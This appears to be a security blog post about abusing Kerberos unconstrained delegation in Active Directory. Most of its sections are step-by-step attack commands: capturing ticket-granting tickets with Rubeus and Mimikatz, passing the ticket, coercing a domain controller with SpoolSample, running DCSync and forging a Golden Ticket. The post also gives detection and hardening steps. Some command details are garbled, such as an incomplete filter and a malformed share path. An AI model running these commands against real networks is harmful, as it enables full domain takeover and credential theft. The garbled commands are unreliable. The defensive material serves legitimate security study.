Unconstrained Delegation: The Silent Domain Backdoor That Hands Attackers the Keys to Your Kingdom + Video

By /

Listen to this Post

Featured Image

Introduction

Unconstrained delegation is a legacy Kerberos feature in Active Directory that permits a server to impersonate any user connecting to it—including domain administrators. When misconfigured, this setting effectively tells the domain controller to hand over the user’s Ticket-Granting Ticket (TGT) to the server, allowing unconstrained storage of those tickets in memory. Attackers who compromise a system with unconstrained delegation can capture TGTs belonging to privileged accounts and then forge service tickets for any resource in the domain, leading to full compromise.

Learning Objectives

  • Identify Active Directory systems that have unconstrained delegation enabled using reconnaissance tools.
  • Simulate an attack that captures a user’s TGT from memory and reuses it for lateral movement.
  • Apply detection and hardening techniques to eliminate unconstrained delegation risks.

You Should Know

1. Detecting Unconstrained Delegation with PowerShell and BloodHound

Unconstrained delegation is often set on high‑value servers (e.g., domain controllers, file servers) but can also be misconfigured on workstations. The first step is to locate all AD objects with the `TRUSTED_FOR_DELEGATION` flag.

Step‑by‑step guide – PowerShell (Windows):

1. Import the Active Directory module:

Import-Module ActiveDirectory

2. Find computers with unconstrained delegation:

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, ServicePrincipalName

3. Optionally, output the results to CSV:

Get-ADComputer -Filter 'TrustedForDelegation -eq $true' | Select-Object Name, DistinguishedName | Export-Csv .\UnconstrainedDelegation.csv

Step‑by‑step guide – BloodHound (Windows/Linux):

1. Run SharpHound on a domain‑joined machine:

SharpHound.exe -c All

2. Import the resulting `.zip` file into BloodHound.

  1. Use the built‑in query: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c` – this shows all computers flagged for unconstrained delegation.

Linux alternative with Impacket:

impacket-findDelegation -dc-ip <DC_IP> <DOMAIN>/<USER>

2. Exploiting the Misconfiguration: Capturing TGTs with Rubeus

Once an attacker compromises a system that has unconstrained delegation (e.g., via phishing or privilege escalation), they can monitor incoming Kerberos traffic and steal TGTs. The tool Rubeus, written in C, is the industry standard for this.

Step‑by‑step guide – Rubeus (Windows):

  1. Download and compile Rubeus, or use a pre‑compiled binary.
  2. From an elevated command prompt, start monitoring for TGTs: 
    Rubeus.exe monitor /interval:5 /targetuser:krbtgt

    This polls the Kerberos ticket cache every 5 seconds and saves any TGT it sees.

  3. Wait for a privileged user (e.g., a domain admin) to authenticate to the compromised system – this could be an SMB connection, WinRM session, or any service requiring Kerberos.
  4. When Rubeus captures a TGT, it prints the Base64‑encoded ticket. Copy it for later use.

Alternative with Mimikatz:

mimikatz  sekurlsa::tickets /export
mimikatz  kerberos::list /export

Exported `.kirbi` files can be loaded directly for impersonation.

  1. Passing the Ticket: Lateral Movement with the Stolen TGT

A stolen TGT allows an attacker to request service tickets (TGS) for any resource as the impersonated user. This is a classic “Pass‑the‑Ticket” attack.

Step‑by‑step guide – Rubeus (Windows):

  1. Use the captured Base64 TGT to create a new logon session: 
    Rubeus.exe ptt /ticket:<BASE64_BLOB>
  2. Verify the ticket is now loaded into your current session: 
    klist
  3. Access a remote resource, e.g., a domain controller’s C$ share: 
    dir \DC01\C$
  4. Or open an interactive PowerShell session using Enter‑PSSession: 
    Enter-PSSession -ComputerName DC01

Step‑by‑step guide – Linux (Impacket + Ticket Converter):

First convert the `.kirbi` ticket to CCache format:

python3 /usr/share/impacket/examples/kirbi2ccache.py ticket.kirbi ticket.ccache

Then export the environment variable and use it:

export KRB5CCNAME=/path/to/ticket.ccache
impacket-wmiexec -k -no-pass DOMAIN/Administrator@DC01

4. Advanced Attack: Forcing Authentication from Privileged Accounts

Often no privileged user will naturally authenticate to a compromised server. An attacker can coerce authentication using methods like printer bug, PetitPotam, or Resource‑Based Constrained Delegation (RBCD). Here we demonstrate coercion via the Print Spooler service.

Step‑by‑step guide – Using SpoolSample (Windows):

  1. On a domain‑joined machine, run SpoolSample to force a domain controller to authenticate back to your unconstrained delegation system: 
    SpoolSample.exe DC01 AttackerServer01
  2. The domain controller’s computer account (e.g., DC01$) will send a Kerberos request to AttackerServer01. Since `AttackerServer01` has unconstrained delegation, it will capture the TGT of the machine account.
  3. Use the captured TGT to impersonate the domain controller’s computer account – this can then be used to perform DCSync attacks or Golden Ticket creation.

Mitigation note: Disable the Print Spooler service on all domain controllers unless absolutely necessary.

5. Linux‑Based Reconnaissance & Exploitation for Unconstrained Delegation

While most Active Directory attacks are performed from Windows, Linux tools like Impacket, BloodHound.py, and Kerbrute can achieve the same results.

Step‑by‑step guide – Using BloodHound.py for enumeration:

bloodhound.py -d DOMAIN -u USER -p PASSWORD -dc DC_IP -c All

Then filter computers with `unconstraineddelegation: true` in the neo4j console.

Step‑by‑step guide – Requesting TGS with a stolen TGT (Linux):

Assume you have a CCache ticket:

export KRB5CCNAME=/path/to/ticket.ccache
impacket-getTGT -k -no-pass DOMAIN/Administrator
impacket-getUserSPNs -k -no-pass -dc-ip DC_IP DOMAIN/

This queries Service Principal Names and requests TGS tickets for services like MSSQL or CIFS, all while impersonating the victim user.

  1. Detection and Hardening: Stopping Unconstrained Delegation in Its Tracks

Prevention is far better than incident response. Unconstrained delegation is rarely required in modern AD environments. Instead, use constrained delegation or resource‑based constrained delegation (RBCD) with protocol transition if needed.

Step‑by‑step guide – Removing unconstrained delegation:

1. Via Active Directory Users and Computers (GUI):

  • Right‑click the computer object → Properties → Delegation tab.
  • Uncheck “Trust this computer for delegation to any service (Kerberos only)”.

2. Via PowerShell (bulk removal):

Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Set-ADComputer -TrustedForDelegation $false

Warning: Test thoroughly on non‑critical servers first – some legacy applications (e.g., certain SQL Server Reporting Services) may break.

3. Detecting active exploitation with Windows Event Logs:

  • Event ID 4769 (Kerberos service ticket was requested) with `Ticket Options: 0x40810000` may indicate unconstrained delegation usage.
  • Monitor for suspicious TGT extraction: Event ID 4624 (logon) followed by Event ID 4648 (logon with explicit credentials) on an unconstrained delegation server.

Step‑by‑step guide – Harden with Protected Users group:

Add privileged accounts (Domain Admins, Enterprise Admins) to the Protected Users group. This prevents them from using unconstrained delegation altogether because they cannot possess a TGT that is usable for delegation.

Add-ADGroupMember -Identity "Protected Users" -Members "DOMAIN\Administrator"

7. Real‑World Attack Chain Example

A complete attack from initial foothold to domain dominance:

  1. Initial compromise – Phishing email delivers a reverse shell on WS-FILE01, a file server.
  2. Enumerate delegation – Run `Get-ADComputer -Filter -Properties TrustedForDelegation` and discover that `WS-FILE01` itself has unconstrained delegation enabled.
  3. Wait / coerce – No admin logs in naturally, so the attacker uses SpoolSample to force `DC01` to authenticate to WS-FILE01.
  4. Capture TGT – Using Rubeus monitor, the attacker captures the TGT of `DC01$` (the computer account).
  5. Pass the ticket – The attacker uses the TGT to run DCSync against the domain: 
    mimikatz  lsadump::dcsync /domain:LAB.LOCAL /user:krbtgt
  6. Golden Ticket – With the krbtgt hash, the attacker creates a Golden Ticket, achieving persistent domain access even if unconstrained delegation is later fixed.

What Undercode Say

  • Unconstrained delegation is a goldmine for attackers – it bypasses typical authentication controls and provides the same power as a Golden Ticket.
  • Detection is reactive; prevention is mandatory – treat any system with unconstrained delegation as a Tier‑0 asset. If you cannot remove it, monitor it with advanced Kerberos auditing and restrict who can log on to it.
  • The rise of automated attack tools (Rubeus, BloodHound, SpoolSample) means that red teams and real adversaries can enumerate and exploit this misconfiguration in minutes. Defenders must adopt the same tooling to continuously validate their environment.

Prediction

As organisations accelerate cloud migration and hybrid identity (Azure AD / Entra ID), unconstrained delegation will continue to haunt on‑premises and hybrid AD environments for years. Microsoft has already flagged it as a “legacy feature” and recommends complete removal. We predict that within two years, unconstrained delegation will be automatically disabled by default on new Windows Server releases, and Microsoft Defender for Identity will include real‑time detection and automated response for TGT theft. However, legacy systems will remain vulnerable, driving a growing market for AD security posture management tools that proactively hunt and remediate delegation misconfigurations. Red teams will shift focus to abusing RBCD and Shadow Credentials, but unconstrained delegation will stay a top‑five entry point for domain privilege escalation until it is fully extinct.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Kinjalpatel Pt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: